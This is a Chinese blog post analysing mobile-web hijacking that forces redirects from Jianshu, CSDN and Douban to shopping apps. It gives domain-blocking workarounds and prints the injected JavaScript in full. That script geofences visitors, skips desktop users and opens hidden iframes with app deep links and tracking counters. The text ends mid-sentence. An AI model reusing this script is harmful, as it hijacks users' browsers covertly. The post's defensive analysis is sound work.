简书移动端Web劫持、跳转app问题
背景
每次手机上搜资料时,只要进入了简书,那么必定会跳转到各种app(淘宝、京东、天猫、京东金融等等),很烦的啊。
2020-02-02 更新:
在csdn、豆瓣上也发现这个问题。
我还以为是我本地宽带或者dns劫持,但是我本地dns用的是114和119,很少出现这种问题,而且简书也是https,浏览器也是绿标,
所以就usb chrome 远程调试看了下,不看不知道,居然会唤醒这么多app和跳转网页。

临时解决方案
屏蔽 ad.lflucky.com 这个域名(建议屏蔽这个域名下的所有二级域名),host改也行。
方法一: 手机端使用 火狐浏览器,安装 AdGuard 广告过滤插件,屏蔽 ad.lflucky.com
方法二、有位读者推荐的软件也很不错,AdGuard Home ,安装在软路由中使用~
2020-03-09:
广告代码改为https://jian.t58b.com/js/jan/jian.js所以,继续屏蔽 jian.t58b.com
最后想了下,既然是cdn劫持,那么我把cdn域名一刀切怎么样,别说,效果还蛮不错的,界面干净了。 屏蔽整个cdn下的js,不过这样带来的后果是文章不能动态加载出来,只适合偶尔使用简书。
cdn2.jianshu.io/*.js手机端用yandex浏览器,装广告屏蔽插件,屏蔽 ad.lflucky.com 这个域名(建议屏蔽这个域名下的所有二级域名),我个人装的是广告终结者,本来想装uBlock的,懒得折腾就没装。或者路由器ad插件屏蔽这个域名。添加屏蔽域名后完美,终于不再跳转。
分析
因为我的前端是废的,所以也只能进行简单点的分析,大佬们看看就好了。 简单分析了一下跳转js,点击 VM2486:1 进入到js,格式化后的代码如下
(function() {
function getJson(a, b) {
var c = new XMLHttpRequest();
c.open("get", a);
c.send(null);
c.onreadystatechange = function() {
if (c.readyState == 4 && c.status == 200) {
b && b(eval("(" + c.responseText + ")"))
}
}
}
function ProductLink(a) {
this.product = a.productJson;
this.disabledArea = ["UNITED STATES", "JAPAN", "SINGAPORE", "CANADA", "香港", "北京", "上海"];
this.avokeTime = a.avokeTime
}
ProductLink.prototype.init = function() {
var b = this;
if (window.navigator.platform.indexOf("Win") > -1 || window.navigator.platform.indexOf("Mac") > -1) {} else {
this.isDisabled(function() {
var a = true;
try {
for (var i = 0; i < b.disabledArea.length; i++) {
if (returnCitySN["cname"].indexOf(b.disabledArea[i]) > -1) {
a = false;
break
}
}
} catch(e) {}
if (!a) {
return
}
b.addElement()
})
}
};
ProductLink.prototype.isDisabled = function(a) {
var b = document.createElement("script");
var c = false;
document.body.appendChild(b);
b.src = "https://pv.sohu.com/cityjson";
b.onload = function() {
if (!c) {
c = true;
a && a()
}
};
setTimeout(function() {
if (!c) {
c = true;
a && a()
}
},
4000)
};
ProductLink.prototype.addElement = function() {
var a = this;
setTimeout(function() {
a.showMainProject();
a.showSecondaryProduct()
},
2000)
};
ProductLink.prototype.showMainProject = function() {
this.showAllKind(this.product.mainProduct.appLink, this.product.mainProduct.cancelTime)
};
ProductLink.prototype.showSecondaryProduct = function() {
var b = this;
var c = this.product.secondaryProduct.concat();
var d = c.length;
var e = null;
e = setInterval(function() {
if (d <= 0) {
clearInterval(e);
return
}
var a = Math.floor(Math.random() * d);
b.showAllKind(c[a].appLink, c[a].cancelTime);
c.splice(a, 1);
d--
},
b.avokeTime * 1000)
};
ProductLink.prototype.showAllKind = function(a, b) {
var c = a.concat();
var d = c.length;
var e = false;
var f = this.getCurrentDate();
while (d > 0 && !e) {
var g = Math.floor(Math.random() * d);
if (c[g].type == "random") {
this.newIframe(c[g].link, b);
e = true
} else if (c[g].type == "date") {
if (c[g][f]) {
this.newIframe(c[g][f], b);
e = true
} else {
c.splice(g, 1);
d--
}
}
}
};
ProductLink.prototype.getCurrentDate = function() {
var a = new Date(),
Y = a.getFullYear() + "-",
M = (a.getMonth() + 1 < 10 ? "0" + (a.getMonth() + 1) : a.getMonth() + 1) + "-",
D = a.getDate() < 10 ? "0" + a.getDate() : a.getDate();
return Y + M + D
};
ProductLink.prototype.newIframe = function(b, c) {
var d = document.createElement("iframe");
d.style.display = "none";
d.src = b;
document.body.appendChild(d);
var e = document.createElement("iframe");
e.style.display = "none";
e.src = "./counturl.html?url=" + encodeURIComponent(b);
document.body.appendChild(e);
setTimeout((function(m, a) {
return function() {
document.body.removeChild(m);
document.body.removeChild(a)
}
})(d, e), c * 1000)
};
getJson("./json/product.json",
function(a) {
new ProductLink(a).init()
})
})();嗯,上面有个getJson方法,搜索了下加载记录发现域名是:









